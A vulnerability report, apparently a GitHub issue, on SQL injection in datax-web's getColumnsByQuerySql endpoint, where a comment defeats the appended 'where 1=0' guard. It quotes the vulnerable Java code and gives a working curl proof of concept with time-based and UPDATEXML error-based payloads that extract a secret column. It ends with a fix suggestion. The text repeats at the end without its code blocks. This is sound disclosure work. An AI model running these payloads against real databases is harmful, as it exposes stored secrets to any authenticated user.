Describe the bug
datax-web allows an authenticated user to submit a raw querySql value to /api/metadata/getColumnsByQuerySql. The application removes semicolons, appends a limiting predicate, and executes the resulting string through a JDBC Statement. A user can use comments and database expressions to bypass the appended condition, execute arbitrary query semantics under the configured data-source account, and receive database error text in the HTTP response.
Background
The affected endpoint exists to infer result columns from a user-provided SQL statement. We reach it as an authenticated web user:
// datax-admin/src/main/java/com/wugui/datax/admin/controller/MetadataController.java
@GetMapping("/getColumnsByQuerySql")
public R<List<String>> getColumnsByQuerySql(Long datasourceId, String querySql) throws SQLException {
return success(datasourceQueryService.getColumnsByQuerySql(datasourceId, querySql));
}
The service layer does not inspect the statement type or restrict the tables referenced by the query:
// datax-admin/src/main/java/com/wugui/datax/admin/service/impl/DatasourceQueryServiceImpl.java
BaseQueryTool queryTool = QueryToolFactory.getByDbType(jdbcDatasource);
return queryTool.getColumnsByQuerySql(querySql);
Vulnerability Details
The implementation tries to make the query harmless by removing semicolons and adding where 1=0 or and 1=0:
// datax-admin/src/main/java/com/wugui/datax/admin/tool/query/BaseQueryTool.java
querySql = querySql.replace(";", "");
String sql = querySql.concat(" where 1=0");
if (querySql.contains("where")) {
sql = querySql.concat(" and 1=0");
}
stmt = connection.createStatement();
rs = stmt.executeQuery(sql);
We still control the SQL grammar before the suffix, and SQL comments can remove the suffix from the statement that the database actually parses:
SELECT id, secret_value FROM victimdb.secrets
WHERE IF(<secret condition>, SLEEP(1), 0) #
From there, we can also choose expressions that intentionally produce database errors containing data. In the MySQL lab, UPDATEXML produced an HTTP response containing XPATH syntax error: '~S3CR3T_LATEST_VALIDATION_202608'.
Proof of Concept
BASE_URL="${BASE_URL:-http://127.0.0.1:18080}"
TOKEN="${TOKEN:?Set TOKEN to an authenticated datax-web JWT}"
DATASOURCE_ID="${DATASOURCE_ID:?Set DATASOURCE_ID to a test JDBC data source id}"
TABLE="${TABLE:-victimdb.secrets}"
COLUMN="${COLUMN:-secret_value}"
EXPECTED_PREFIX="${EXPECTED_PREFIX:-S}"
request_elapsed() {
local query_sql="$1"
curl -sS -o /dev/null -w '%{time_total}' \
-H "Authorization: Bearer ${TOKEN}" \
--get "${BASE_URL}/api/metadata/getColumnsByQuerySql" \
--data-urlencode "datasourceId=${DATASOURCE_ID}" \
--data-urlencode "querySql=${query_sql}"
}
false_query="SELECT id, ${COLUMN} FROM ${TABLE} WHERE IF((SELECT SUBSTRING(${COLUMN},1,1) FROM ${TABLE} LIMIT 1)='Z',SLEEP(1),0) #"
true_query="SELECT id, ${COLUMN} FROM ${TABLE} WHERE IF((SELECT SUBSTRING(${COLUMN},1,1) FROM ${TABLE} LIMIT 1)='${EXPECTED_PREFIX}',SLEEP(1),0) #"
error_query="SELECT UPDATEXML(1,CONCAT(0x7e,(SELECT ${COLUMN} FROM ${TABLE} LIMIT 1),0x7e),1) #"
false_time="$(request_elapsed "${false_query}")"
true_time="$(request_elapsed "${true_query}")"
echo "[+] false condition elapsed: ${false_time}s"
echo "[+] true condition elapsed: ${true_time}s"
echo "[+] optional error-disclosure probe response:"
curl -sS -H "Authorization: Bearer ${TOKEN}" \
--get "${BASE_URL}/api/metadata/getColumnsByQuerySql" \
--data-urlencode "datasourceId=${DATASOURCE_ID}" \
--data-urlencode "querySql=${error_query}"
echo
Expected behavior
[+] false condition elapsed: 0.01s
[+] true condition elapsed: 1.01s
[+] error probe response contains database exception text on vulnerable MySQL targets
Which version of DataX Web:
Requirement or improvement
- Prefer a safe query parser that accepts only a narrow
SELECT subset and rejects comments, functions, DML, stacked statements, subqueries, and dialect-specific side-effect expressions.
Describe the bug
datax-web allows an authenticated user to submit a raw
querySqlvalue to/api/metadata/getColumnsByQuerySql. The application removes semicolons, appends a limiting predicate, and executes the resulting string through a JDBCStatement. A user can use comments and database expressions to bypass the appended condition, execute arbitrary query semantics under the configured data-source account, and receive database error text in the HTTP response.Background
The affected endpoint exists to infer result columns from a user-provided SQL statement. We reach it as an authenticated web user:
The service layer does not inspect the statement type or restrict the tables referenced by the query:
Vulnerability Details
The implementation tries to make the query harmless by removing semicolons and adding
where 1=0orand 1=0:We still control the SQL grammar before the suffix, and SQL comments can remove the suffix from the statement that the database actually parses:
From there, we can also choose expressions that intentionally produce database errors containing data. In the MySQL lab,
UPDATEXMLproduced an HTTP response containingXPATH syntax error: '~S3CR3T_LATEST_VALIDATION_202608'.Proof of Concept
Expected behavior
Which version of DataX Web:
Requirement or improvement
SELECTsubset and rejects comments, functions, DML, stacked statements, subqueries, and dialect-specific side-effect expressions.